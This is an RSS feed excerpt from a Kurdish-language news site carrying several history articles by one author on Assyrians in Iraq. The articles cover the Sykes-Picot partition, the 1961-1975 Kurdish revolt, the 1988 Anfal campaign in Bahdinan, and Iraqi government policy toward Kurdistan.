Rojnameya Evro » لۆرنس نادر https://rojnameyaevro.com/ku Thu, 11 Jun 2026 12:29:02 +0000 ar hourly 1 https://wordpress.org/?v=4.0.38 ئاشووری و قوربانیێن دابەشكرنا سایكس بیكۆ ١٩١٦ https://rojnameyaevro.com/ku/%d8%a6%d8%a7%d8%b4%d9%88%d9%88%d8%b1%db%8c-%d9%88-%d9%82%d9%88%d8%b1%d8%a8%d8%a7%d9%86%db%8c%db%8e%d9%86-%d8%af%d8%a7%d8%a8%db%95%d8%b4%d9%83%d8%b1%d9%86%d8%a7-%d8%b3%d8%a7%db%8c%d9%83%d8%b3-%d8%a8/263341/ https://rojnameyaevro.com/ku/%d8%a6%d8%a7%d8%b4%d9%88%d9%88%d8%b1%db%8c-%d9%88-%d9%82%d9%88%d8%b1%d8%a8%d8%a7%d9%86%db%8c%db%8e%d9%86-%d8%af%d8%a7%d8%a8%db%95%d8%b4%d9%83%d8%b1%d9%86%d8%a7-%d8%b3%d8%a7%db%8c%d9%83%d8%b3-%d8%a8/263341/#comments Sun, 31 May 2026 21:10:49 +0000 https://rojnameyaevro.com/ku/?p=263341 لۆنس نادر مخۆ

رێكەفتنا سایكس بیكۆ ئێك ژ ناڤدارترین رێكەفتنێن كو د ناڤبەرا دەولەتێن مەزن دا هاتینە گرێدان دهێتە هەژمارتن، و باندۆرێن وێ هەتا نها ل سەر جڤاكێن دەولەتا ئوسمانی ب هەر تبایا نەتەوەیێن وان ڤە ماینە. ئەڤ رێكەفتنە ب ئاوایەكێ نهێنی د ناڤبەرا بریتانیا، فرانسا و رۆسیا قەیسەری دا هاتبوو گرێدان، ب ئارمانجا دابەشكرنا دەولەتا ئوسمانی د ناڤبەرا ئەوان دا‌. وەكی هەموو گەلێن دەڤەرێ، ئاشووری ژی ژ ئەنجامێن ڤێ رێكەفتنێ بێپار نەبوون؛ ژ بەركو پرۆسەیا خێزكرنا سینۆران، ل گۆری خالێن وێ، بوو سەدەما پەرچەقەتاندنا جڤاكا ئاشووری، هەر وەكی عەرەب، كورد و نەتەوەیێن دن.
ئاشووری ئێك ژ كەڤنترین پێكهاتەیێن نەتەوەیی یێن رەسەن ل ئەڤێ دەڤەرێ تێن حسێبكرن. دگەل بەرفرەهبوونا دەستهەلاتا دەولەتا ئوسمانی، ئاشووری بوونە وەلاتییێن ئەڤێ دەولەتا بەرفرەهـ. د داویا سەدسالا نۆزدێ و دەستپێكا سەدسالا بیستێ دا‌، دەولەتا عوسمانی گوهۆڕینێن مەزن ب خۆ ڤە دیتن، كو ئێك ژ هەری دیار پرۆژەیا دابەشكرنا ئاخا وێ د ناڤبەرا دەولەتێن مەزن دا‌ بوو، وەكی كو بەرێ هاتیی دیار كرن.
د 16 گولانا 1916 دا‌، رێكەفتناما سایكس بیكۆ هاتە ئیمزا‌كرن، كو بریار ل سەر دابەشكرنا ئاخا دەولەتا ئۆسمانی د ناڤبەرا بریتانیا و فرەنسا دا، تشتێ كو پاشێ بوو سەدەما خێزكرنا سینۆرێن دەولەتێن نوو ل دەڤەرێ. ژ بەر ئەڤێ ئێكێ، ئاخا ئاشووریان ژی كەت ناڤ وان پیلان و دابەشكرنان و د ناڤبەرا دەولەتێن پەیوەندیدار دا هات دابەشكرن.
دانان و خێزكرنا سینۆرێن ناڤدەولەتی یێن نوو بوو سەدەما پا‌رچەبوونەكا مەزنتر د ناڤ جڤاكا ئاشووری دا‌؛ ژ بەر كو بەرێ چ سینۆرێن ڤەدەركەر د ناڤبەرا دەڤەرێن ئەوان یێن دیرۆكی دا نووبوون. بەلێ پشتی سەپاندنا ئەڤان سینۆران، ئاشووری د ناڤبەرا دەولەتێن نوو دا بەربەلاڤ بوون، ب تایبەتی ئیراق، سووریا و توركیا. ب ڤی ئاوایی، هەر پشكا وان بوو سەر ب دەولەتەكا جودا ڤە، تشتێ كو بوو سەدەما دابەشبوونا جڤاكا ئاشووری بۆ چەند پارگیان، وەكی نەتەوەیێن دن یێن كو كەتینە بن باندۆرا ڤێ رێكەفتنێ و هۆسا پەیوەندیێن ئەوان ئاشووریان ئەوێن بەری گرێدانا ئەڤێ پەیمانێ ئێك بوون، چونكی ئێك وەلات بوون ژن یشكەڤێ ڤە ئەڤ پەیوەندیە نە مان ژ سەدەما دانانا ئەوان سنووران.

]]> https://rojnameyaevro.com/ku/%d8%a6%d8%a7%d8%b4%d9%88%d9%88%d8%b1%db%8c-%d9%88-%d9%82%d9%88%d8%b1%d8%a8%d8%a7%d9%86%db%8c%db%8e%d9%86-%d8%af%d8%a7%d8%a8%db%95%d8%b4%d9%83%d8%b1%d9%86%d8%a7-%d8%b3%d8%a7%db%8c%d9%83%d8%b3-%d8%a8/263341/feed/ 0 ئـاشـۆری د شـۆڕشـا ئیلۆنـێ‌ 1961-1975دا https://rojnameyaevro.com/ku/%d8%a6%d9%80%d8%a7%d8%b4%d9%80%db%86%d8%b1%db%8c-%d8%af-%d8%b4%d9%80%db%86%da%95%d8%b4%d9%80%d8%a7-%d8%a6%db%8c%d9%84%db%86%d9%86%d9%80%db%8e%e2%80%8c-1961-1975%d8%af%d8%a7/252509/ https://rojnameyaevro.com/ku/%d8%a6%d9%80%d8%a7%d8%b4%d9%80%db%86%d8%b1%db%8c-%d8%af-%d8%b4%d9%80%db%86%da%95%d8%b4%d9%80%d8%a7-%d8%a6%db%8c%d9%84%db%86%d9%86%d9%80%db%8e%e2%80%8c-1961-1975%d8%af%d8%a7/252509/#comments Sun, 14 Sep 2025 22:04:21 +0000 https://rojnameyaevro.com/ku/?p=252509 لـۆرنـس نـادر مخۆ

كورد و ئاشووری دو نەتەوەیێن جێوازن، لێ‌ مێژوویەكا هەڤپشك هەبوویە د درێژاهیا مێژوویێ دا و تایبەت پشتی دروستبوونا دەولەتا ئیراقێ‌ ل سالا 1921. حوكمەتێن ئیراقێ‌ هەر ل دەسپێكا دروستبوونا وێ‌ وهەتا نوكە دژاتیا خەلكێ‌ كوردستانێ‌ كریە، تایبەت هەردو مللەتێن كورد و ئاشووری. ژ وان چەند سیاسەتێن خراب ژ حوكمەتا عەبدولكەریم قاسم (1958-1963) هەبووینە بەرانبەر خەلكێ‌ كوردستانێ‌ هەتا ئەڤ شۆرشە ب سەركرداتیا مەلا موستەفا بارزانی (1903-1979) سەرهەلدای.
ئێكەم كوشتار یا حوكمەتا ئیراقێ‌ د ئیراقا نوی دا دروستبووی ل دژی مللەتێ‌ ئاشووریان بوو ل دەڤەرا سێمێلێ‌ ل تەباخا سالا 1933، ئاشووری پشتی ڤێ‌ رویدانێ‌ چ باوەری ب عەرەبان و حوكمەتێن ئیراقێ‌ نە مان، وسەرەرای سەدان گوندێن ئاشووریان ل ڤێ‌ دەڤەرێ‌ بوون تایبەت ل دەڤەرێن بەهدینان و سۆران، و ژیارا وان وەك ژیارا كوردان دا بوو ئەوێن د ڤێ‌ دەڤەرێ‌ دژیان. هەر بریارەك ژ حوكمەتێن ئیراقێ‌ هاتبا وەرگرتن بەرانبەر كوردستانێ‌ دا هەمی خەلكێ‌ كوردستانێ‌ بخۆڤە گریت، جێوازی د ناڤبەرا مللەتان ل دەف حوكمەتێ‌ نەبوو، لەورا دەما عەبدولكەریم قاسم هاتیە سەر دەستهەلاتێ‌ و سیاسەتا خراب هەنبەر خەلكێ‌ كوردستانێ‌ بكارئینای، ئەو سیاسەت و ئابلووقە ئاشووری ژی بخۆڤە دگرت. دەما بارزانی ب شۆرشێ‌ رابووی نەبەس مافێن كوردان داخواز دكرن، بەلێ‌ مافێن هەمیان ژ حوكمەتا بەغدا دخواست. هەتا ل 11 ئیلۆنا 1961 ل دژی بەغدا شۆرش سەرهەلدا، ئاشووری ژی وەكی هەمی خەلكێ‌ كوردستانێ‌ پشكداری د شۆرشێ‌ دا كری.
پشكداریا ئاشووریا د شۆرشێ‌ ل سەر شێوازێ‌ تاكەكەسی، هەروەسا گوندان دا بوو، هەمی گوندێن ئاشووریان پشكداری د شۆرشێ‌ دا كریە و خەلكێ‌ گوندێن ئاشووریان ب چەكی و نانی پشكداری كریە، هەروەسا ژمارەكا سیمبۆلێن ژ ئاشووریان د شۆرشێ‌ دا پەیدا بووینە، وەك (هرمز مەلك جكۆ، مەتران مایوالاها، قەشە بۆلس بێداری، كوركیس مەلك چكۆ، فرنسۆ حەریری، مارگریت گورگیس (ئێكەم ئافرەت هاتیە د ناڤ رێزین شۆرشێ دا)، هرمز یۆنان، تەلیا شینۆ.. هتد). مەتران مایوالاها، قەشە بۆلس بێداری چوونە د سەركرداتیا شۆرشێ‌ دا. گەلەك ژ وان رۆلێن مەزن هەبوون د هەمێ‌ واران دا، چ ژ لایێ ساخلەمی، كارگێری، لەشكری… هتد.
هۆسا شۆرشا ئیلۆنێ‌ دبیتە ئێك ژلاپەرێن دێرین ژ مێژوویا ئاشووریان ل ئیراقێ‌ دا، هەروەسا نڤیسەر د پەرتووكا خۆ دا (آشوريو هكاري في العراق 1933-1988دراسة تاريخية) ب درێژی بەحس ل ڤی بابەتی كریە و وەسا ددەتە دیاركرن، كو پشكداریا ئاشووریان د هەردو شۆرشێن ئیلۆن و گولان دا 1961-1988، « تعد حركتا أيلول 1961-1975 وكولان 1976-1988 الكرديتان أكثر الحوادث التاريخية اللتين شارك فيهما الآشوريون في العراق بكثافة وتفاني واخلاص «.
ژ ئەگەرێ‌ پكشداریا بەرفرەه یا ئاشووریان، حوكمەتێن ئیراقێ‌ سیاسەتێن سەیر ل دژی ئاشووریان بكاردئینا، هەروەسا ب هەمی شیانێن خۆ هەولددان كو ئاشووری ژ شۆرشێ‌ دویربكەن، لێ‌ ئەڤ هەوە سەرنەدكەفتن، سەدان گوندێن ئاشووریان هاتنە سۆتن و خرابكرن و ل دوماهیێ سەدان ئاشووری بوونە قوربانیێن ئەنفالا رەش دا ل سالا 1988. ژبەر پشكداربوونا وان یا بەرفرەه.

]]> https://rojnameyaevro.com/ku/%d8%a6%d9%80%d8%a7%d8%b4%d9%80%db%86%d8%b1%db%8c-%d8%af-%d8%b4%d9%80%db%86%da%95%d8%b4%d9%80%d8%a7-%d8%a6%db%8c%d9%84%db%86%d9%86%d9%80%db%8e%e2%80%8c-1961-1975%d8%af%d8%a7/252509/feed/ 0 كـارتێكرنـێن ئـەنفالا رەش ل سـەر جڤـاکــا ئـاشـووری https://rojnameyaevro.com/ku/%d9%83%d9%80%d8%a7%d8%b1%d8%aa%db%8e%d9%83%d8%b1%d9%86%d9%80%db%8e%d9%86-%d8%a6%d9%80%db%95%d9%86%d9%81%d8%a7%d9%84%d8%a7-%d8%b1%db%95%d8%b4-%d9%84-%d8%b3%d9%80%db%95%d8%b1-%d8%ac%da%a4%d9%80%d8%a7/251992/ https://rojnameyaevro.com/ku/%d9%83%d9%80%d8%a7%d8%b1%d8%aa%db%8e%d9%83%d8%b1%d9%86%d9%80%db%8e%d9%86-%d8%a6%d9%80%db%95%d9%86%d9%81%d8%a7%d9%84%d8%a7-%d8%b1%db%95%d8%b4-%d9%84-%d8%b3%d9%80%db%95%d8%b1-%d8%ac%da%a4%d9%80%d8%a7/251992/#comments Sun, 07 Sep 2025 22:35:34 +0000 https://rojnameyaevro.com/ku/?p=251992 لۆرنس نادر مخۆ

هەر رویدانەكا مەزن و نەخۆش و تایبەت یا لەشكری هەبیت، دچیتە د وارێ‌ جینۆسایدێ‌ دا، هەوێن ئەنفال ژ وان رویدانان بوون، كارتێكرنەكا مەزن گەهاندە جڤاكا كوردستانی و ژوان ژی ل سەر ئاشووریان ژی، ئەڤ كارتێكرنە ب گەلەك شێوەیان بوون، و ژ وان هەتا نها كارتێكرنا هندەك ئەڤ رویدانە دبەردەوامن ئانكو درێژخایەنن.
دەما 25 تەباخا 1988 لەشكرێ‌ ئیراقێ‌ هێرشەكا مەزن و لەشكرەكێ‌ مەزن ئینا دەڤەرا بەهدینان، چونكی ئەڤ دەڤەرە یا چیایی بوو، هەروەسا دڤییا دربەكێ‌ مەزن ل خەلكێ‌ دەڤەرێ‌ بدەت، هەر د ڤی هەوێ دا هەمی جۆرێن چەكی بكارئینان و ژ وان چەكێ‌ كیمیاوی ژی. د ڤی ماوەی دا خەلكێ‌ دەڤەرا بەهدینان زەلام، پیر، ئافرەت و زارۆك و حال و مالێن خۆ هێلان و بەر ب دەڤەرێن سنوورێ‌ توركیا ڤە چوون.
پشتی چوونا وان سەر ئاخا توركیا ب ماوەیەكێ‌، تایبەت ل شەشی ئیلۆنا هەمان سالێ، حوكمەتا ئیراقێ‌ بریارا لێبۆرینێ‌ بۆ هەمی كوردان دەرێخست و ئەڤ لێبۆرینە ژ جەلا تەلەبانی ناگریت، هەروەسا ئەڤ لێبۆرینە ژ كریستیانان و ئێزیدیان نەگرت بوو، چونكی حوكمەتا ئیراقێ‌ ئەوان ب نەتەوەیا عەرەب دهەژمارتن. پشتی دەنگوباسێن ڤێ‌ بریارا لێبۆرینێ‌ گەهشتنە ئاشووریان ل كەمپێن پەنابەران ل توركیا و گەلەك ژ خەلكی باوەریا خۆ ب بڕیارا حوكمەتێ‌ ئینا و ژ وان ئاشووریا قەستا سنووری كر ل دەرگەهێ‌ ئیبراهیم خەلیل و دەما دگەهنە ڤێ‌ دەڤەرێ‌ ئاشووری و ئێزیدی ژ كوردان جودا دكەن و ئاشووری ئینانە كەلها نزاركێ ل دهۆكێ‌ و پشكەكێ دبەنە مویسل و پشكەكا دیتر دبەنە بەحركێ ل هەولێرێ‌. هۆسا ئەڤ هەوە ب سەر ئاشووریان دا هات و كارتێكرنێن مەزن دیاربوون.
ژ وان، كارتێكرنا جەستەی و مرۆڤایەتی، كو ژێدەر وەسا ددەنە دیاركرن د ناڤبەرا 155-160 كەس یێن ئاشووری (زەلام، پیر ، ئافرەت و زارۆك) بوونە قوربانی و هەتا نها هەستی و گۆڕێن وان دیار نینن و ژ كارتێكرنێن دیتر یێن ئەنفالێ‌ ب سەر ئاشووریان، ئابووری و دیرۆكی، ژمارەكا مەزن ژ گوندێن ئاشووریان هاتنە سۆتن و خرابكرن و ویرانكرن، سەدان سالە ژیان ل سەر وان گوندان دهاتە كرن، ئەڤ گوندە ب تەمامی ژیان ئێدی لێ‌ نەهاتە كرن، ژ لایەنێ‌ كشتوكالی و ئاژەلی كارەساتەكا مەزن بوو، ئەڤ هەمیا هاتیە خرابكرن و هەتا نوكە ئەڤ چەندە وێران بووینە، و ژ لایەنێ‌ دیرۆكی ڤە گەلەك ژ گوند و شوینوارێن ئایینی و نەتەوەیی هەبوون، ئەڤ هەمی شوینەوارە هاتن خرابكرن. دەربارەی كارتێكرنا جڤاكی، ل سەر ئاشووریا، ژن ما بێ‌ زەلام یان بەروڤاژی، دیسا زارۆك بێ‌ دایك و باب، گەلەك زارۆك ژ ڤیانا دایك و باب بێ‌ بەهر بوون و خێزان دبیتە دو بەش بەشەك ساخە و بەشەكێ‌ دی بەرەف ئەنفال ڤە چوون، و زۆر كارتێكرنەكا خراب و نەخۆش ل سەر جڤا كوردستانی دیاربوو. لایەنێ‌ سایكۆلوژی، ئێك ژ لایەنێن مەزن بوو ل سەر خەلكی دیاربووی، تا نوكە پەكەفتیێن ئەنفالی دەروونێ‌ وان تێكچوویە، ژ وان نەشێن بنڤن و هەر دخەمگینن، ب شەڤ دەما د خەوێ‌ دا دكەنە هەوار و گەلەك ژ وان هەر دەم بتنێنە و تێكهەلیا خەلكی نەڤێن، هتد… لایەنێ‌ دیۆگرافی ئێك ژ لایەنێن خراب گەهاندە ئاشووریان، ب دەهان گوند هاتنە وێرانكرن و ژیان لێ‌ نەما، خەلكێ‌ گوندی بەربەلاڤ بوو سەرانسەری جیهانێ‌ پشتی گوندێن خۆ هیلاین و ژیان ئێدی نە زڤڕیە وان گوندان، هۆسا ئەڤە ژی وەك هەمی كارتێكرنێن دیتر ل سەر ئاشووریان هەبوو.
ل دوماهیێ، هەوێن ئەنفال دو جۆرە كارتێكرن هەبوون، یێن نێزیك و دوور. د وی دەمی هندەك كارتێكرن ل سەر وان دیار بوون، هەروەسا هندەكێن دیتر، هەتا نوكە كارتێكرنا ئەنفالێ‌ ل سەر تاكێ‌ ئاشووری دیارە، وە هۆسا ئەنفال دبیتە جینۆسایدەكا رەش ژبۆ هەر تاكێ‌ كوردستانی و سەهمەكا مەزن د دلێ‌ وان دا.

]]> https://rojnameyaevro.com/ku/%d9%83%d9%80%d8%a7%d8%b1%d8%aa%db%8e%d9%83%d8%b1%d9%86%d9%80%db%8e%d9%86-%d8%a6%d9%80%db%95%d9%86%d9%81%d8%a7%d9%84%d8%a7-%d8%b1%db%95%d8%b4-%d9%84-%d8%b3%d9%80%db%95%d8%b1-%d8%ac%da%a4%d9%80%d8%a7/251992/feed/ 0 ئـاشووری د ئـەنفالا بـەهدینـان یا (25 تـەبـاخـێ‌ تا 6 ئیلۆنا سـالا 1988) دا https://rojnameyaevro.com/ku/%d8%a6%d9%80%d8%a7%d8%b4%d9%88%d9%88%d8%b1%db%8c-%d8%af-%d8%a6%d9%80%db%95%d9%86%d9%81%d8%a7%d9%84%d8%a7-%d8%a8%d9%80%db%95%d9%87%d8%af%db%8c%d9%86%d9%80%d8%a7%d9%86-%db%8c%d8%a7-25-%d8%aa%d9%80/251758/ https://rojnameyaevro.com/ku/%d8%a6%d9%80%d8%a7%d8%b4%d9%88%d9%88%d8%b1%db%8c-%d8%af-%d8%a6%d9%80%db%95%d9%86%d9%81%d8%a7%d9%84%d8%a7-%d8%a8%d9%80%db%95%d9%87%d8%af%db%8c%d9%86%d9%80%d8%a7%d9%86-%db%8c%d8%a7-25-%d8%aa%d9%80/251758/#comments Tue, 02 Sep 2025 00:50:57 +0000 https://rojnameyaevro.com/ku/?p=251758 لۆرنس نـادر مخۆ

هەردو مللەتێن كورد و ئاشووری، ژ وان مللەتانە كو گەلەك دەربەدەری و نەخۆشی ل وەلاتێ‌ ئیراقێ‌ هەر ژ دامەزراندنا وێ‌ ل سالا 1921 دیتین، هەر ل سەر دەمێ‌ شاهنشاهیا ئیراقێ‌ (1921-1958)، هەروەسا پشتی كەفتنا شاهنشاهیا ئیراقێ‌ و هاتنا سیستەمێ‌ كۆماری ب سەركرداتیا عەبدولكەریم قاسم (1958-1963) و هەردو كۆڕێن عارف 1963-1968، و ل دوماهیێ هاتنا بەعسیان ل سەر دەستهەلاتێ‌ ب سەركرداتیا ئەحمەد حەسەن بەكر (1968-1979) و تایبەت هاتنا سەدام حسێن (1979-2003). كو ل سەردەمێ‌ یێ دوماهیی ئەڤ رویدانا رەش سەرهەلدا.
پارتا بەعس هەمی هزرێن خۆ یێن توندرەو ل سەر گەلێ‌ ئیراقێ‌ دسەپاندن، تایبەت مللەتێن نە عەرەب وەك (كورد و ئاشووری و توركمان و..هتد)، كو د سەرژمێریا ئیراقێ‌ یا سالا 1977، كو د ڤی سەردەمی دا ئاشووری نەشیان نەتەوەیا خۆ هەلبژێرن، بەلكو ئەو بتنێ‌ وەك نەتەوا عەرەب دهاتنە تۆماركرن، ئەڤە ئێك ژ سیاسەتێن بەعس بوو. سەرەرای وێ‌ چەندێ‌ ژمارەكا هەرە مەزن ئانكو سەنگا مللەتێ‌ ئاشووری د چەرخێ‌ بۆری دا و پشتی دروستبوونا دەولەتا ئیراقێ‌ ل كوردستانا نوكە ئاكنجی ببوون. هەر وەسا پشتی سەرهەلدانا بزاڤا كوردی (1961-1988) ب سەركرداتیا مەلا مستەفا بارزانی ژمارەكا مەزن ژ ئاشووریان گەهشتنە د ناڤ رێزا ڤێ‌ بزاڤێ‌ دا و ژمارەكا سیمبۆلێن ئاشووری شۆرەشێ‌ دا سەرهەلدان. هەروەسا هەمی گوندێن ئاشووری پالپشتیا خۆ ژبۆ ڤێ‌ بزاڤێ‌ دیاركر و پشكداریەكا مەزن هەبوو.
سەركرداتیا پارتا بەعس ل بەرواری 29 ئادارا 1987 (عەلی حەسەن مەجید) وەك بەرپرسێ‌ نڤیسینگەها رێكخستنا باكۆر دامەزراند، هەروەسا سەركرداتیا جڤاتا شۆرشێ‌ هەمی ماف دابوونە عەلی حەسەن مەجید. حوكمەتێ‌ دەست ب هەوێن خۆ كر، ئێكەم هەوا ئەنفالێ‌ یا سلێمانی بوو، 23 شباتا 1988 تا 19 ئادارا 1988، وپشتی ڤێ‌ هەوی حەفت هەوێن دیتر ل سەرانسەری كوردستانێ‌ هەبوون، و هەوا دوماهیی یا دەڤەرا ئەنفال بوو، ل 25 تەباخا 1988 یا تا 6 ئیلۆنا هەمان سال. ئەوا دهێتە نیاسین (خاتمە ئەنفال)، كو د ڤێ‌ هەوێ‌ دا سەدان ئاشووری بوونە قوربانی، بەهرا پترا ژێدەران وەسا ددەنە دیاركرن كو د ناڤبەرا 155 تا 160 ئاشووری بوونە قوربانیێن ئەنفالێ‌، هەتا نها چ ژچارەنڤیسێ وان دیار نینە، هەروەسا دگەل هزاران كوردان. دەهان گوندێن ئاشووریان هاتنە سوتن وخرابكرن ووێران كرن. تانوكە ژیان ل سەر وان گوندان ناهێتەكرن. هەوێن ئەنفالێ‌ كارتێكرنەكا مەزن ل سەر ئاشووریان هەبوو هەر ژ لایەنێن مرۆڤایەتی ، سایكۆلوژی، ئابوۆری جڤاكی و…هتد.

]]> https://rojnameyaevro.com/ku/%d8%a6%d9%80%d8%a7%d8%b4%d9%88%d9%88%d8%b1%db%8c-%d8%af-%d8%a6%d9%80%db%95%d9%86%d9%81%d8%a7%d9%84%d8%a7-%d8%a8%d9%80%db%95%d9%87%d8%af%db%8c%d9%86%d9%80%d8%a7%d9%86-%db%8c%d8%a7-25-%d8%aa%d9%80/251758/feed/ 0 سیاسەتێن حوكمەتێن ئیراقێ‌ بـەرامبەر خـەلكێ‌ كـوردسـتانـێ‌ https://rojnameyaevro.com/ku/%d8%b3%db%8c%d8%a7%d8%b3%db%95%d8%aa%db%8e%d9%86-%d8%ad%d9%88%d9%83%d9%85%db%95%d8%aa%db%8e%d9%86-%d8%a6%db%8c%d8%b1%d8%a7%d9%82%db%8e%e2%80%8c-%d8%a8%d9%80%db%95%d8%b1%d8%a7%d9%85%d8%a8%db%95%d8%b1/246942/ https://rojnameyaevro.com/ku/%d8%b3%db%8c%d8%a7%d8%b3%db%95%d8%aa%db%8e%d9%86-%d8%ad%d9%88%d9%83%d9%85%db%95%d8%aa%db%8e%d9%86-%d8%a6%db%8c%d8%b1%d8%a7%d9%82%db%8e%e2%80%8c-%d8%a8%d9%80%db%95%d8%b1%d8%a7%d9%85%d8%a8%db%95%d8%b1/246942/#comments Sun, 22 Jun 2025 22:31:17 +0000 https://rojnameyaevro.com/ku/?p=246942 لۆرنس نادر مخۆ

2 ــــ 2

ئەڤ شەڕە ژبۆ شۆرەشێ‌ وەك وەرچەرخانەیەك بوو كو دژاتیا لەشكری بكەت، ئەو قوربانیێن لەشكرێ‌ ئیراقێ‌ د ڤێ‌ شەڕی دا داین، بوونە ئەگەری گوهۆرینا بارودۆخێن سیاسی و لەشكری ئیراقێ‌ و حوكمەت نەچار دبیت بەیاننامەیا 29 حزیرانا 1966 دەردئێخیت، كو د وی وەختی دا، وەكی هاتیە دیاركرن هەر دەمێ‌ حوكمەت لاواز دبیت؛ دا داخواز ژ سەركرداتیا شۆرەشێ‌ كەت داكو شەڕ براوەستینیت بۆ هەیامەكێ‌، هەتا هەمی حازریێن خۆ یێن سیاسی و لەشكری دروست بكەن و جارەكا دی دا هێرش كەنە سەر كوردستانێ‌. د ناڤبەرا ڤێ‌ بەیاننامێ‌ و هەتا كۆدەتا بەعسیان ل 17 تیرمەها 1968 یا سەیر بوو، نە شەڕ هەبوون و نەپەیمان و سلح هەبوون دگۆتنێ‌ (هدو‌و كاژب)، ئەو بەیاننامە بتنێ‌ ناڤ بوو و خالێن وێ‌ نە دهاتنە جێبەجێكرن ژ لایێ حوكمەتێ‌ ڤە. هەروەسا چ هێرشێن مەزن ل سەر كوردستانێ‌ نە دهاتنەكرن، چونكی حوكمەت یا لاواز بوو. ژ ئەگەرێن كێشەیێن سیاسی ل وی سەردەمی ل ئیراقێ‌ و گوهۆرینا وەزارەتا ژ عەبدولرەحمان بەزاز و ناجی تالب و عەبدولرەحمان عارف و تاهیر یەحیا. لێ‌ بارودۆخ د خراب بوون، هەر شێوەكێ‌ بیت حوكمەتێ‌ دژاتییا كوردستانێ‌ دكر. ژ ئەگەرێ‌ ڤێ‌ سیاسەتا حوكمەتا ئیراقێ‌ هەمبەر كوردستانێ‌، كو ل 1/6/1968 لیژنا مەلبەندی یا پارتی وەسا دیاركر، كو ئەڤ سیاسەتا بۆراندنا دەمی ژ لایێ‌ حوكمەتی ل دژی شۆرەشێ‌، بتنێ‌ كاروبارێن خۆ دكەن بۆ هێرشین دیتر ل سەر كوردستانێ‌. هەروەسا د راپۆرتا خۆدا دیاركر، كو دڤیت سەركرداتیا شۆرەشێ‌ ب هەمی لایەنان ل بەر گرتنا هەر هێرشەكێ‌ ژ لایێ‌ حوكمەتێ‌ ڤە یا حازر بیت. هەتا 17/7/1968 پارتا بەعس كۆدەتا ل سەر حوكمەتا تاهیر یەحیا و عەبدولرەحمان محەمەد عارف كر.
سیستەمێ‌ حوكمرانیێ ل ئیراقێ‌ هاتە گوهۆڕین و دەستهەلات كەفتە بن دەستێ‌ بەعسیان و ئەحمەد حەسەن بەكر دبیتە سەرۆك عەبدوالرەزاق نایف دبیتە سەرۆك وەزیران و ل 30 تیرمەهێ‌ عەبدوالرەزاق نایف هەولدا كۆدەتایێ‌ ل سەر بەعسیان بكەت لێ، كۆدەتایای نەیا سەركەفتی بوو و هاتە لادان ئەحمەد حەسەن بەكر دبیتە سەرۆك و سەدام حوسەین دبیتە جیگرێ‌ سەرۆكی. دیسا ئەڤ هەردو كو نەشیان هێرشێن توند ل سەر كوردان ببەن هەتا دەستهەلاتا خۆ موكم بكەن، لەورا بەیانناما 11 ئادارێ‌ 1970 دەرێخست، ئەڤ رێكەفتنە دبیتە ئێكەم جار كو حوكمەت ب شێوەیەكێ‌ راستەوخۆ مافێن كوردان بهێنەدان. هەر چاوا بیت پارتا بەعس ئەڤ چەندە كر نە ژ بەر بەرژەوەندیا خەلكێ‌ كوردستانێ‌، لێ‌ دڤیان مفای ژ وەختی ببەن، هەتا خۆ دروست بكەن و هێرشێ‌ ببەنە سەر كوردستانێ‌. ئیراق رۆژ بۆ رۆژ بەرەف لاوازیێ‌ ڤە دچوو هەتا 6 ئادارا 1975، دەما پەیمانا جەزائیر ل گەل حوكمەتا ئیرانێ‌ ل وەلاتێ‌ جەزائیرێ‌ گریددەن، كو حوكمەتا ئیرانێ‌ پالپشتیا شۆرەشێ‌ نەكەت.
ئەو هەمی نموونەیێن هاتینە دیاركرن، جارەكا دی دوبارەبوون پشتی كەفتنا رژێما بەعس یا دكتاتۆری ل نیسانا 2003، ل وی سەردەمی كورد بهێز بوون و پشكداری د رێڤەبرنا دەولەتا ئیراقێ‌ دا كر، پشتی ررخاندنا رژێمێ‌، ئەڤ چەندە یا بەردەوام بوو، كو كورد ل ئیراقێ‌ بهێز بوون، بەروڤاژی ئیراق، گەلەك یا لاوازبوو و د بارودۆخێن گەلەك خراب دا دبۆری، پشتی كەفتنا رژێما بەعس هەتا 2014، ژمارەكا حوكمەتان هاتنە دامەزراندن و ئەو حوكمەتێن ئیراقێ‌ یێن لاواز چ جاران ب شێوەیەكێ‌ راستەوخۆ دژاتییا كوردستانێ‌ نەدكر، هەتا پیچەك بهێزكەفتن و دیسا پشتی بهێزبوونا وان، دژاتیا خەلكێ‌ كوردستانێ‌ كر، ئەڤ جارە ب نەهنارتنا مافێن خەلكێ‌ كوردستانێ‌، ژ 2014 هەتا نوكە ئەڤ سیاسەتا نە هنارتنا مافێن كوردستانێ‌ با بەردەوامە.
ل دوماهیێ، چ حوكمەت یان كەس یێ ئیراقێ‌ ل سەر دەستهەلاتی یێ لاواز با دا دانوستاندنان ل گەل كوردان كەت، هەتا دەمەكێ‌ و ئەڤ وەختێن دانوستاندن ب خۆ ب درەفەت ددیت هەتا بهێز بكەڤیت، پاشان دا رابن دژاتیا كوردستانێ‌ كەن، ئەڤ سیاسەتە نە كەسەكە یان حوكمەتەكە، لێ‌ ئەڤە وەك دیاردەیەكە یان كەلتۆرەكە ل دەف ئەوان بەرامبەر كوردستانێ‌ و چەندین جارە ئەڤ جۆرە سیاسەتە بكارئینای، لەوا خەلكێ‌ كوردستانێ‌ لاو مێژوویا خۆ ل گەل حوكمەتێن ئیراقێ‌ بخوینن و وانەیەك ژ میژوویا خۆ یا چەندین سالە وەرگرن.

]]> https://rojnameyaevro.com/ku/%d8%b3%db%8c%d8%a7%d8%b3%db%95%d8%aa%db%8e%d9%86-%d8%ad%d9%88%d9%83%d9%85%db%95%d8%aa%db%8e%d9%86-%d8%a6%db%8c%d8%b1%d8%a7%d9%82%db%8e%e2%80%8c-%d8%a8%d9%80%db%95%d8%b1%d8%a7%d9%85%d8%a8%db%95%d8%b1/246942/feed/ 0 سیاسەتێن حوكمەتێن ئیراقێ‌ بـەرانبەر خـەلكێ‌ كـوردسـتانـێ‌ https://rojnameyaevro.com/ku/%d8%b3%db%8c%d8%a7%d8%b3%db%95%d8%aa%db%8e%d9%86-%d8%ad%d9%88%d9%83%d9%85%db%95%d8%aa%db%8e%d9%86-%d8%a6%db%8c%d8%b1%d8%a7%d9%82%db%8e%e2%80%8c-%d8%a8%d9%80%db%95%d8%b1%d8%a7%d9%86%d8%a8%db%95%d8%b1/246728/ 